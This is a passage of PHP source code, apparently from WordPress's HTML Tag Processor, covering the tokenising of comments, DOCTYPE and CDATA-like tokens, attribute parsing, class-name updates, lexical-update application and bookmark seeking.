			if ( $tag_name_prefix_length > 0 ) {
				++$at;
				$this->parser_state         = self::STATE_MATCHED_TAG;
				$this->tag_name_starts_at   = $at;
				$this->tag_name_length      = $tag_name_prefix_length + strcspn( $html, " \t\f\r\n/>", $at + $tag_name_prefix_length );
				$this->bytes_already_parsed = $at + $this->tag_name_length;
				return true;
			}

			/*
			 * Abort if no tag is found before the end of
			 * the document. There is nothing left to parse.
			 */
			if ( $at + 1 >= $doc_length ) {
				$this->parser_state = self::STATE_INCOMPLETE_INPUT;

				return false;
			}

			/*
			 * `<!` transitions to markup declaration open state
			 * https://html.spec.whatwg.org/multipage/parsing.html#markup-declaration-open-state
			 */
			if ( ! $this->is_closing_tag && '!' === $html[ $at + 1 ] ) {
				/*
				 * `<!--` transitions to a comment state – apply further comment rules.
				 * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
				 */
				if ( 0 === substr_compare( $html, '--', $at + 2, 2 ) ) {
					$closer_at = $at + 4;
					// If it's not possible to close the comment then there is nothing more to scan.
					if ( $doc_length <= $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					// Abruptly-closed empty comments are a sequence of dashes followed by `>`.
					$span_of_dashes = strspn( $html, '-', $closer_at );
					if ( '>' === $html[ $closer_at + $span_of_dashes ] ) {
						/*
						 * @todo When implementing `set_modifiable_text()` ensure that updates to this token
						 *       don't break the syntax for short comments, e.g. `<!--->`. Unlike other comment
						 *       and bogus comment syntax, these leave no clear insertion point for text and
						 *       they need to be modified specially in order to contain text. E.g. to store
						 *       `?` as the modifiable text, the `<!--->` needs to become `<!--?-->`, which
						 *       involves inserting an additional `-` into the token after the modifiable text.
						 */
						$this->parser_state = self::STATE_COMMENT;
						$this->comment_type = self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT;
						$this->token_length = $closer_at + $span_of_dashes + 1 - $this->token_starts_at;

						// Only provide modifiable text if the token is long enough to contain it.
						if ( $span_of_dashes >= 2 ) {
							$this->comment_type   = self::COMMENT_AS_HTML_COMMENT;
							$this->text_starts_at = $this->token_starts_at + 4;
							$this->text_length    = $span_of_dashes - 2;
						}

						$this->bytes_already_parsed = $closer_at + $span_of_dashes + 1;
						return true;
					}

					/*
					 * Comments may be closed by either a --> or an invalid --!>.
					 * The first occurrence closes the comment.
					 *
					 * See https://html.spec.whatwg.org/#parse-error-incorrectly-closed-comment
					 */
					--$closer_at; // Pre-increment inside condition below reduces risk of accidental infinite looping.
					while ( ++$closer_at < $doc_length ) {
						$closer_at = strpos( $html, '--', $closer_at );
						if ( false === $closer_at ) {
							$this->parser_state = self::STATE_INCOMPLETE_INPUT;

							return false;
						}

						if ( $closer_at + 2 < $doc_length && '>' === $html[ $closer_at + 2 ] ) {
							$this->parser_state         = self::STATE_COMMENT;
							$this->comment_type         = self::COMMENT_AS_HTML_COMMENT;
							$this->token_length         = $closer_at + 3 - $this->token_starts_at;
							$this->text_starts_at       = $this->token_starts_at + 4;
							$this->text_length          = $closer_at - $this->text_starts_at;
							$this->bytes_already_parsed = $closer_at + 3;
							return true;
						}

						if (
							$closer_at + 3 < $doc_length &&
							'!' === $html[ $closer_at + 2 ] &&
							'>' === $html[ $closer_at + 3 ]
						) {
							$this->parser_state         = self::STATE_COMMENT;
							$this->comment_type         = self::COMMENT_AS_HTML_COMMENT;
							$this->token_length         = $closer_at + 4 - $this->token_starts_at;
							$this->text_starts_at       = $this->token_starts_at + 4;
							$this->text_length          = $closer_at - $this->text_starts_at;
							$this->bytes_already_parsed = $closer_at + 4;
							return true;
						}
					}
				}

				/*
				 * `<!DOCTYPE` transitions to DOCTYPE state – skip to the nearest >
				 * These are ASCII-case-insensitive.
				 * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
				 */
				if (
					$doc_length > $at + 8 &&
					( 'D' === $html[ $at + 2 ] || 'd' === $html[ $at + 2 ] ) &&
					( 'O' === $html[ $at + 3 ] || 'o' === $html[ $at + 3 ] ) &&
					( 'C' === $html[ $at + 4 ] || 'c' === $html[ $at + 4 ] ) &&
					( 'T' === $html[ $at + 5 ] || 't' === $html[ $at + 5 ] ) &&
					( 'Y' === $html[ $at + 6 ] || 'y' === $html[ $at + 6 ] ) &&
					( 'P' === $html[ $at + 7 ] || 'p' === $html[ $at + 7 ] ) &&
					( 'E' === $html[ $at + 8 ] || 'e' === $html[ $at + 8 ] )
				) {
					$closer_at = strpos( $html, '>', $at + 9 );
					if ( false === $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					$this->parser_state         = self::STATE_DOCTYPE;
					$this->token_length         = $closer_at + 1 - $this->token_starts_at;
					$this->text_starts_at       = $this->token_starts_at + 9;
					$this->text_length          = $closer_at - $this->text_starts_at;
					$this->bytes_already_parsed = $closer_at + 1;
					return true;
				}

				if (
					'html' !== $this->parsing_namespace &&
					strlen( $html ) > $at + 8 &&
					'[' === $html[ $at + 2 ] &&
					'C' === $html[ $at + 3 ] &&
					'D' === $html[ $at + 4 ] &&
					'A' === $html[ $at + 5 ] &&
					'T' === $html[ $at + 6 ] &&
					'A' === $html[ $at + 7 ] &&
					'[' === $html[ $at + 8 ]
				) {
					$closer_at = strpos( $html, ']]>', $at + 9 );
					if ( false === $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					$this->parser_state         = self::STATE_CDATA_NODE;
					$this->text_starts_at       = $at + 9;
					$this->text_length          = $closer_at - $this->text_starts_at;
					$this->token_length         = $closer_at + 3 - $this->token_starts_at;
					$this->bytes_already_parsed = $closer_at + 3;
					return true;
				}

				/*
				 * Anything else here is an incorrectly-opened comment and transitions
				 * to the bogus comment state - skip to the nearest >. If no closer is
				 * found then the HTML was truncated inside the markup declaration.
				 */
				$closer_at = strpos( $html, '>', $at + 1 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_COMMENT;
				$this->comment_type         = self::COMMENT_AS_INVALID_HTML;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;

				/*
				 * Identify nodes that would be CDATA if HTML had CDATA sections.
				 *
				 * This section must occur after identifying the bogus comment end
				 * because in an HTML parser it will span to the nearest `>`, even
				 * if there's no `]]>` as would be required in an XML document. It
				 * is therefore not possible to parse a CDATA section containing
				 * a `>` in the HTML syntax.
				 *
				 * Inside foreign elements there is a discrepancy between browsers
				 * and the specification on this.
				 *
				 * @todo Track whether the Tag Processor is inside a foreign element
				 *       and require the proper closing `]]>` in those cases.
				 */
				if (
					$this->token_length >= 10 &&
					'[' === $html[ $this->token_starts_at + 2 ] &&
					'C' === $html[ $this->token_starts_at + 3 ] &&
					'D' === $html[ $this->token_starts_at + 4 ] &&
					'A' === $html[ $this->token_starts_at + 5 ] &&
					'T' === $html[ $this->token_starts_at + 6 ] &&
					'A' === $html[ $this->token_starts_at + 7 ] &&
					'[' === $html[ $this->token_starts_at + 8 ] &&
					']' === $html[ $closer_at - 1 ] &&
					']' === $html[ $closer_at - 2 ]
				) {
					$this->parser_state    = self::STATE_COMMENT;
					$this->comment_type    = self::COMMENT_AS_CDATA_LOOKALIKE;
					$this->text_starts_at += 7;
					$this->text_length    -= 9;
				}

				return true;
			}

			/*
			 * </> is a missing end tag name, which is ignored.
			 *
			 * This was also known as the "presumptuous empty tag"
			 * in early discussions as it was proposed to close
			 * the nearest previous opening tag.
			 *
			 * See https://html.spec.whatwg.org/#parse-error-missing-end-tag-name
			 */
			if ( '>' === $html[ $at + 1 ] ) {
				// `<>` is interpreted as plaintext.
				if ( ! $this->is_closing_tag ) {
					++$at;
					continue;
				}

				$this->parser_state         = self::STATE_PRESUMPTUOUS_TAG;
				$this->token_length         = $at + 2 - $this->token_starts_at;
				$this->bytes_already_parsed = $at + 2;
				return true;
			}

			/*
			 * `<?` transitions to a bogus comment state – skip to the nearest >
			 * See https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
			 */
			if ( ! $this->is_closing_tag && '?' === $html[ $at + 1 ] ) {
				$closer_at = strpos( $html, '>', $at + 2 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_COMMENT;
				$this->comment_type         = self::COMMENT_AS_INVALID_HTML;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;

				/*
				 * Identify a Processing Instruction node were HTML to have them.
				 *
				 * This section must occur after identifying the bogus comment end
				 * because in an HTML parser it will span to the nearest `>`, even
				 * if there's no `?>` as would be required in an XML document. It
				 * is therefore not possible to parse a Processing Instruction node
				 * containing a `>` in the HTML syntax.
				 *
				 * XML allows for more target names, but this code only identifies
				 * those with ASCII-representable target names. This means that it
				 * may identify some Processing Instruction nodes as bogus comments,
				 * but it will not misinterpret the HTML structure. By limiting the
				 * identification to these target names the Tag Processor can avoid
				 * the need to start parsing UTF-8 sequences.
				 *
				 * > NameStartChar ::= ":" | [A-Z] | "_" | [a-z] | [#xC0-#xD6] | [#xD8-#xF6] | [#xF8-#x2FF] |
				 *                     [#x370-#x37D] | [#x37F-#x1FFF] | [#x200C-#x200D] | [#x2070-#x218F] |
				 *                     [#x2C00-#x2FEF] | [#x3001-#xD7FF] | [#xF900-#xFDCF] | [#xFDF0-#xFFFD] |
				 *                     [#x10000-#xEFFFF]
				 * > NameChar      ::= NameStartChar | "-" | "." | [0-9] | #xB7 | [#x0300-#x036F] | [#x203F-#x2040]
				 *
				 * @todo Processing instruction nodes in SGML may contain any kind of markup. XML defines a
				 *       special case with `<?xml ... ?>` syntax, but the `?` is part of the bogus comment.
				 *
				 * @see https://www.w3.org/TR/2006/REC-xml11-20060816/#NT-PITarget
				 */
				if ( $this->token_length >= 5 && '?' === $html[ $closer_at - 1 ] ) {
					$comment_text     = substr( $html, $this->token_starts_at + 2, $this->token_length - 4 );
					$pi_target_length = strspn( $comment_text, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ:_' );

					if ( 0 < $pi_target_length ) {
						$pi_target_length += strspn( $comment_text, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789:_-.', $pi_target_length );

						$this->comment_type       = self::COMMENT_AS_PI_NODE_LOOKALIKE;
						$this->tag_name_starts_at = $this->token_starts_at + 2;
						$this->tag_name_length    = $pi_target_length;
						$this->text_starts_at    += $pi_target_length;
						$this->text_length       -= $pi_target_length + 1;
					}
				}

				return true;
			}

			/*
			 * If a non-alpha starts the tag name in a tag closer it's a comment.
			 * Find the first `>`, which closes the comment.
			 *
			 * This parser classifies these particular comments as special "funky comments"
			 * which are made available for further processing.
			 *
			 * See https://html.spec.whatwg.org/#parse-error-invalid-first-character-of-tag-name
			 */
			if ( $this->is_closing_tag ) {
				// No chance of finding a closer.
				if ( $at + 3 > $doc_length ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$closer_at = strpos( $html, '>', $at + 2 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_FUNKY_COMMENT;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;
				return true;
			}

			++$at;
		}

		/*
		 * This does not imply an incomplete parse; it indicates that there
		 * can be nothing left in the document other than a #text node.
		 */
		$this->parser_state         = self::STATE_TEXT_NODE;
		$this->token_starts_at      = $was_at;
		$this->token_length         = $doc_length - $was_at;
		$this->text_starts_at       = $was_at;
		$this->text_length          = $this->token_length;
		$this->bytes_already_parsed = $doc_length;
		return true;
	}

	/**
	 * Parses the next attribute.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether an attribute was found before the end of the document.
	 */
	private function parse_next_attribute(): bool {
		$doc_length = strlen( $this->html );

		// Skip whitespace and slashes.
		$this->bytes_already_parsed += strspn( $this->html, " \t\f\r\n/", $this->bytes_already_parsed );
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		/*
		 * Treat the equal sign as a part of the attribute
		 * name if it is the first encountered byte.
		 *
		 * @see https://html.spec.whatwg.org/multipage/parsing.html#before-attribute-name-state
		 */
		$name_length = '=' === $this->html[ $this->bytes_already_parsed ]
			? 1 + strcspn( $this->html, "=/> \t\f\r\n", $this->bytes_already_parsed + 1 )
			: strcspn( $this->html, "=/> \t\f\r\n", $this->bytes_already_parsed );

		// No attribute, just tag closer.
		if ( 0 === $name_length || $this->bytes_already_parsed + $name_length >= $doc_length ) {
			return false;
		}

		$attribute_start             = $this->bytes_already_parsed;
		$attribute_name              = substr( $this->html, $attribute_start, $name_length );
		$this->bytes_already_parsed += $name_length;
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		$this->skip_whitespace();
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		$has_value = '=' === $this->html[ $this->bytes_already_parsed ];
		if ( $has_value ) {
			++$this->bytes_already_parsed;
			$this->skip_whitespace();
			if ( $this->bytes_already_parsed >= $doc_length ) {
				$this->parser_state = self::STATE_INCOMPLETE_INPUT;

				return false;
			}

			switch ( $this->html[ $this->bytes_already_parsed ] ) {
				case "'":
				case '"':
					$quote                      = $this->html[ $this->bytes_already_parsed ];
					$value_start                = $this->bytes_already_parsed + 1;
					$end_quote_at               = strpos( $this->html, $quote, $value_start );
					$end_quote_at               = false === $end_quote_at ? $doc_length : $end_quote_at;
					$value_length               = $end_quote_at - $value_start;
					$attribute_end              = $end_quote_at + 1;
					$this->bytes_already_parsed = $attribute_end;
					break;

				default:
					$value_start                = $this->bytes_already_parsed;
					$value_length               = strcspn( $this->html, "> \t\f\r\n", $value_start );
					$attribute_end              = $value_start + $value_length;
					$this->bytes_already_parsed = $attribute_end;
			}
		} else {
			$value_start   = $this->bytes_already_parsed;
			$value_length  = 0;
			$attribute_end = $attribute_start + $name_length;
		}

		if ( $attribute_end >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		if ( $this->is_closing_tag ) {
			return true;
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$comparable_name = strtolower( $attribute_name );

		// If an attribute is listed many times, only use the first declaration and ignore the rest.
		if ( ! isset( $this->attributes[ $comparable_name ] ) ) {
			$this->attributes[ $comparable_name ] = new WP_HTML_Attribute_Token(
				$attribute_name,
				$value_start,
				$value_length,
				$attribute_start,
				$attribute_end - $attribute_start,
				! $has_value
			);

			return true;
		}

		/*
		 * Track the duplicate attributes so if we remove it, all disappear together.
		 *
		 * While `$this->duplicated_attributes` could always be stored as an `array()`,
		 * which would simplify the logic here, storing a `null` and only allocating
		 * an array when encountering duplicates avoids needless allocations in the
		 * normative case of parsing tags with no duplicate attributes.
		 */
		$duplicate_span = new WP_HTML_Span( $attribute_start, $attribute_end - $attribute_start );
		if ( null === $this->duplicate_attributes ) {
			$this->duplicate_attributes = array( $comparable_name => array( $duplicate_span ) );
		} elseif ( ! isset( $this->duplicate_attributes[ $comparable_name ] ) ) {
			$this->duplicate_attributes[ $comparable_name ] = array( $duplicate_span );
		} else {
			$this->duplicate_attributes[ $comparable_name ][] = $duplicate_span;
		}

		return true;
	}

	/**
	 * Move the internal cursor past any immediate successive whitespace.
	 *
	 * @since 6.2.0
	 */
	private function skip_whitespace(): void {
		$this->bytes_already_parsed += strspn( $this->html, " \t\f\r\n", $this->bytes_already_parsed );
	}

	/**
	 * Applies attribute updates and cleans up once a tag is fully parsed.
	 *
	 * @since 6.2.0
	 */
	private function after_tag(): void {
		/*
		 * There could be lexical updates enqueued for an attribute that
		 * also exists on the next tag. In order to avoid conflating the
		 * attributes across the two tags, lexical updates with names
		 * need to be flushed to raw lexical updates.
		 */
		$this->class_name_updates_to_attributes_updates();

		/*
		 * Purge updates if there are too many. The actual count isn't
		 * scientific, but a few values from 100 to a few thousand were
		 * tests to find a practically-useful limit.
		 *
		 * If the update queue grows too big, then the Tag Processor
		 * will spend more time iterating through them and lose the
		 * efficiency gains of deferring applying them.
		 */
		if ( 1000 < count( $this->lexical_updates ) ) {
			$this->get_updated_html();
		}

		foreach ( $this->lexical_updates as $name => $update ) {
			/*
			 * Any updates appearing after the cursor should be applied
			 * before proceeding, otherwise they may be overlooked.
			 */
			if ( $update->start >= $this->bytes_already_parsed ) {
				$this->get_updated_html();
				break;
			}

			if ( is_int( $name ) ) {
				continue;
			}

			$this->lexical_updates[] = $update;
			unset( $this->lexical_updates[ $name ] );
		}

		$this->token_starts_at          = null;
		$this->token_length             = null;
		$this->tag_name_starts_at       = null;
		$this->tag_name_length          = null;
		$this->text_starts_at           = 0;
		$this->text_length              = 0;
		$this->is_closing_tag           = null;
		$this->attributes               = array();
		$this->comment_type             = null;
		$this->text_node_classification = self::TEXT_IS_GENERIC;
		$this->duplicate_attributes     = null;
	}

	/**
	 * Converts class name updates into tag attributes updates
	 * (they are accumulated in different data formats for performance).
	 *
	 * @since 6.2.0
	 *
	 * @see WP_HTML_Tag_Processor::$lexical_updates
	 * @see WP_HTML_Tag_Processor::$classname_updates
	 */
	private function class_name_updates_to_attributes_updates(): void {
		if ( count( $this->classname_updates ) === 0 ) {
			return;
		}

		$existing_class = $this->get_enqueued_attribute_value( 'class' );
		if ( null === $existing_class || true === $existing_class ) {
			$existing_class = '';
		}

		if ( false === $existing_class && isset( $this->attributes['class'] ) ) {
			$existing_class = substr(
				$this->html,
				$this->attributes['class']->value_starts_at,
				$this->attributes['class']->value_length
			);
		}

		if ( false === $existing_class ) {
			$existing_class = '';
		}

		/**
		 * Updated "class" attribute value.
		 *
		 * This is incrementally built while scanning through the existing class
		 * attribute, skipping removed classes on the way, and then appending
		 * added classes at the end. Only when finished processing will the
		 * value contain the final new value.

		 * @var string $class
		 */
		$class = '';

		/**
		 * Tracks the cursor position in the existing
		 * class attribute value while parsing.
		 *
		 * @var int $at
		 */
		$at = 0;

		/**
		 * Indicates if there's any need to modify the existing class attribute.
		 *
		 * If a call to `add_class()` and `remove_class()` wouldn't impact
		 * the `class` attribute value then there's no need to rebuild it.
		 * For example, when adding a class that's already present or
		 * removing one that isn't.
		 *
		 * This flag enables a performance optimization when none of the enqueued
		 * class updates would impact the `class` attribute; namely, that the
		 * processor can continue without modifying the input document, as if
		 * none of the `add_class()` or `remove_class()` calls had been made.
		 *
		 * This flag is set upon the first change that requires a string update.
		 *
		 * @var bool $modified
		 */
		$modified = false;

		$seen      = array();
		$to_remove = array();
		$is_quirks = self::QUIRKS_MODE === $this->compat_mode;
		if ( $is_quirks ) {
			foreach ( $this->classname_updates as $updated_name => $action ) {
				if ( self::REMOVE_CLASS === $action ) {
					$to_remove[] = strtolower( $updated_name );
				}
			}
		} else {
			foreach ( $this->classname_updates as $updated_name => $action ) {
				if ( self::REMOVE_CLASS === $action ) {
					$to_remove[] = $updated_name;
				}
			}
		}

		// Remove unwanted classes by only copying the new ones.
		$existing_class_length = strlen( $existing_class );
		while ( $at < $existing_class_length ) {
			// Skip to the first non-whitespace character.
			$ws_at     = $at;
			$ws_length = strspn( $existing_class, " \t\f\r\n", $ws_at );
			$at       += $ws_length;

			// Capture the class name – it's everything until the next whitespace.
			$name_length = strcspn( $existing_class, " \t\f\r\n", $at );
			if ( 0 === $name_length ) {
				// If no more class names are found then that's the end.
				break;
			}

			$name                  = substr( $existing_class, $at, $name_length );
			$comparable_class_name = $is_quirks ? strtolower( $name ) : $name;
			$at                   += $name_length;

			// If this class is marked for removal, remove it and move on to the next one.
			if ( in_array( $comparable_class_name, $to_remove, true ) ) {
				$modified = true;
				continue;
			}

			// If a class has already been seen then skip it; it should not be added twice.
			if ( in_array( $comparable_class_name, $seen, true ) ) {
				continue;
			}

			$seen[] = $comparable_class_name;

			/*
			 * Otherwise, append it to the new "class" attribute value.
			 *
			 * There are options for handling whitespace between tags.
			 * Preserving the existing whitespace produces fewer changes
			 * to the HTML content and should clarify the before/after
			 * content when debugging the modified output.
			 *
			 * This approach contrasts normalizing the inter-class
			 * whitespace to a single space, which might appear cleaner
			 * in the output HTML but produce a noisier change.
			 */
			if ( '' !== $class ) {
				$class .= substr( $existing_class, $ws_at, $ws_length );
			}
			$class .= $name;
		}

		// Add new classes by appending those which haven't already been seen.
		foreach ( $this->classname_updates as $name => $operation ) {
			$comparable_name = $is_quirks ? strtolower( $name ) : $name;
			if ( self::ADD_CLASS === $operation && ! in_array( $comparable_name, $seen, true ) ) {
				$modified = true;

				$class .= strlen( $class ) > 0 ? ' ' : '';
				$class .= $name;
			}
		}

		$this->classname_updates = array();
		if ( ! $modified ) {
			return;
		}

		if ( strlen( $class ) > 0 ) {
			$this->set_attribute( 'class', $class );
		} else {
			$this->remove_attribute( 'class' );
		}
	}

	/**
	 * Applies attribute updates to HTML document.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Accumulates shift for internal cursor and passed pointer.
	 * @since 6.3.0 Invalidate any bookmarks whose targets are overwritten.
	 *
	 * @param int $shift_this_point Accumulate and return shift for this position.
	 * @return int How many bytes the given pointer moved in response to the updates.
	 */
	private function apply_attributes_updates( int $shift_this_point ): int {
		if ( ! count( $this->lexical_updates ) ) {
			return 0;
		}

		$accumulated_shift_for_given_point = 0;

		/*
		 * Attribute updates can be enqueued in any order but updates
		 * to the document must occur in lexical order; that is, each
		 * replacement must be made before all others which follow it
		 * at later string indices in the input document.
		 *
		 * Sorting avoid making out-of-order replacements which
		 * can lead to mangled output, partially-duplicated
		 * attributes, and overwritten attributes.
		 */
		usort( $this->lexical_updates, array( self::class, 'sort_start_ascending' ) );

		$bytes_already_copied = 0;
		$output_buffer        = '';
		foreach ( $this->lexical_updates as $diff ) {
			$shift = strlen( $diff->text ) - $diff->length;

			// Adjust the cursor position by however much an update affects it.
			if ( $diff->start < $this->bytes_already_parsed ) {
				$this->bytes_already_parsed += $shift;
			}

			// Accumulate shift of the given pointer within this function call.
			if ( $diff->start < $shift_this_point ) {
				$accumulated_shift_for_given_point += $shift;
			}

			$output_buffer       .= substr( $this->html, $bytes_already_copied, $diff->start - $bytes_already_copied );
			$output_buffer       .= $diff->text;
			$bytes_already_copied = $diff->start + $diff->length;
		}

		$this->html = $output_buffer . substr( $this->html, $bytes_already_copied );

		/*
		 * Adjust bookmark locations to account for how the text
		 * replacements adjust offsets in the input document.
		 */
		foreach ( $this->bookmarks as $bookmark_name => $bookmark ) {
			$bookmark_end = $bookmark->start + $bookmark->length;

			/*
			 * Each lexical update which appears before the bookmark's endpoints
			 * might shift the offsets for those endpoints. Loop through each change
			 * and accumulate the total shift for each bookmark, then apply that
			 * shift after tallying the full delta.
			 */
			$head_delta = 0;
			$tail_delta = 0;

			foreach ( $this->lexical_updates as $diff ) {
				$diff_end = $diff->start + $diff->length;

				if ( $bookmark->start < $diff->start && $bookmark_end < $diff->start ) {
					break;
				}

				if ( $bookmark->start >= $diff->start && $bookmark_end < $diff_end ) {
					$this->release_bookmark( $bookmark_name );
					continue 2;
				}

				$delta = strlen( $diff->text ) - $diff->length;

				if ( $bookmark->start >= $diff->start ) {
					$head_delta += $delta;
				}

				if ( $bookmark_end >= $diff_end ) {
					$tail_delta += $delta;
				}
			}

			$bookmark->start  += $head_delta;
			$bookmark->length += $tail_delta - $head_delta;
		}

		$this->lexical_updates = array();

		return $accumulated_shift_for_given_point;
	}

	/**
	 * Checks whether a bookmark with the given name exists.
	 *
	 * @since 6.3.0
	 *
	 * @param string $bookmark_name Name to identify a bookmark that potentially exists.
	 * @return bool Whether that bookmark exists.
	 */
	public function has_bookmark( $bookmark_name ): bool {
		return array_key_exists( $bookmark_name, $this->bookmarks );
	}

	/**
	 * Move the internal cursor in the Tag Processor to a given bookmark's location.
	 *
	 * In order to prevent accidental infinite loops, there's a
	 * maximum limit on the number of times seek() can be called.
	 *
	 * @since 6.2.0
	 *
	 * @param string $bookmark_name Jump to the place in the document identified by this bookmark name.
	 * @return bool Whether the internal cursor was successfully moved to the bookmark's location.
	 */
	public function seek( $bookmark_name ): bool {
		if ( ! array_key_exists( $bookmark_name, $this->bookmarks ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Unknown bookmark name.' ),
				'6.2.0'
			);
			return false;
		}

		$existing_bookmark = $this->bookmarks[ $bookmark_name ];

		if (
			$this->token_starts_at === $existing_bookmark->start &&
			$this->token_length === $existing_bookmark->length
		) {
			return true;
		}

		if ( ++$this->seek_count > static::MAX_SEEK_OPS ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Too many calls to seek() - this can lead to performance issues.' ),
				'6.2.0'
			);
			return false;
		}

		// Flush out any pending updates to the document.
		$this->get_updated_html();

		// Point this tag processor before the sought tag opener and consume it.
		$this->bytes_already_parsed = $this->bookmarks[ $bookmark_name ]->start;
		$this->parser_state         = self::STATE_READY;
		return $this->next_token();
	}

	/**
	 * Compare two WP_HTML_Text_Replacement objects.
	 *
	 * @since 6.2.0
	 *
	 * @param WP_HTML_Text_Replacement $a First attribute update.
	 * @param WP_HTML_Text_Replacement $b Second attribute update.
	 * @return int Comparison value for string order.
	 */
	private static function sort_start_ascending( WP_HTML_Text_Replacement $a, WP_HTML_Text_Replacement $b ): int {
		$by_start = $a->start - $b->start;
		if ( 0 !== $by_start ) {
			return $by_start;
		}

		$by_text = isset( $a->text, $b->text ) ? strcmp( $a->text, $b->text ) : 0;
		if ( 0 !== $by_text ) {
			return $by_text;
		}

		/*
		 * This code should be unreachable, because it implies the two replacements
		 * start at the same location and contain the same text.
		 */
		return $a->length - $b->length;
	}

	/**
	 * Return the enqueued value for a given attribute, if one exists.
	 *
	 * Enqueued updates can take different data types:
	 *  - If an update is enqueued and is boolean, the return will be `true`
	 *  - If an update is otherwise enqueued, the return will be the string value of that update.
	 *  - If an attribute is enqueued to be removed, the return will be `null` to indicate that.
	 *  - If no updates are enqueued, the return will be `false` to differentiate from "removed."
	 *
	 * @since 6.2.0
	 *
	 * @param string $comparable_name The attribute name in its comparable form.
	 * @return string|boolean|null Value of enqueued update if present, otherwise false.
	 */
	private function get_enqueued_attribute_value( string $comparable_name ) {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		if ( ! isset( $this->lexical_updates[ $comparable_name ] ) ) {
			return false;
		}

		$enqueued_text = $this->lexical_updates[ $comparable_name ]->text;

		// Removed attributes erase the entire span.
		if ( '' === $enqueued_text ) {
			return null;
		}

		/*
		 * Boolean attribute updates are just the attribute name without a corresponding value.
		 *
		 * This value might differ from the given comparable name in that there could be leading
		 * or trailing whitespace, and that the casing follows the name given in `set_attribute`.
		 *
		 * Example:
		 *
		 *     $p->set_attribute( 'data-TEST-id', 'update' );
		 *     'update' === $p->get_enqueued_attribute_value( 'data-test-id' );
		 *
		 * Detect this difference based on the absence of the `=`, which _must_ exist in any
		 * attribute containing a value, e.g. `<input type="text" enabled />`.
		 *                                            ¹           ²
		 *                                       1. Attribute with a string value.
		 *                                       2. Boolean attribute whose value is `true`.
		 */
		$equals_at = strpos( $enqueued_text, '=' );
		if ( false === $equals_at ) {
			return true;
		}

		/*
		 * Finally, a normal update's value will appear after the `=` and
		 * be double-quoted, as performed incidentally by `set_attribute`.
		 *
		 * e.g. `type="text"`
		 *           ¹²    ³
		 *        1. Equals is here.
		 *        2. Double-quoting starts one after the equals sign.
		 *        3. Double-quoting ends at the last character in the update.
		 */
		$enqueued_value = substr( $enqueued_text, $equals_at + 2, -1 );
		return WP_HTML_Decoder::decode_attribute( $enqueued_value );
	}

	/**
	 * Returns the value of a requested attribute from a matched tag opener if that attribute exists.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div enabled class="test" data-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute( 'data-test-id' ) === '14';
	 *     $p->get_attribute( 'enabled' ) === true;
	 *     $p->get_attribute( 'aria-label' ) === null;
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute( 'class' ) === null;
	 *
	 * @since 6.2.0
	 *
	 * @param string $name Name of attribute whose value is requested.
	 * @return string|true|null Value of attribute or `null` if not available. Boolean attributes return `true`.
	 */
	public function get_attribute( $name ) {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$comparable = strtolower( $name );

		/*
		 * For every attribute other than `class` it's possible to perform a quick check if
		 * there's an enqueued lexical update whose value takes priority over what's found in
		 * the input document.
		 *
		 * The `class` attribute is special though because of the exposed helpers `add_class`
		 * and `remove_class`. These form a builder for the `class` attribute, so an additional
		 * check for enqueued class changes is required in addition to the check for any enqueued
		 * attribute values. If any exist, those enqueued class changes must first be flushed out
		 * into an attribute value update.
		 */
		if ( 'class' === $name ) {
			$this->class_name_updates_to_attributes_updates();
		}

		// Return any enqueued attribute value updates if they exist.
		$enqueued_value = $this->get_enqueued_attribute_value( $comparable );
		if ( false !== $enqueued_value ) {
			return $enqueued_value;
		}

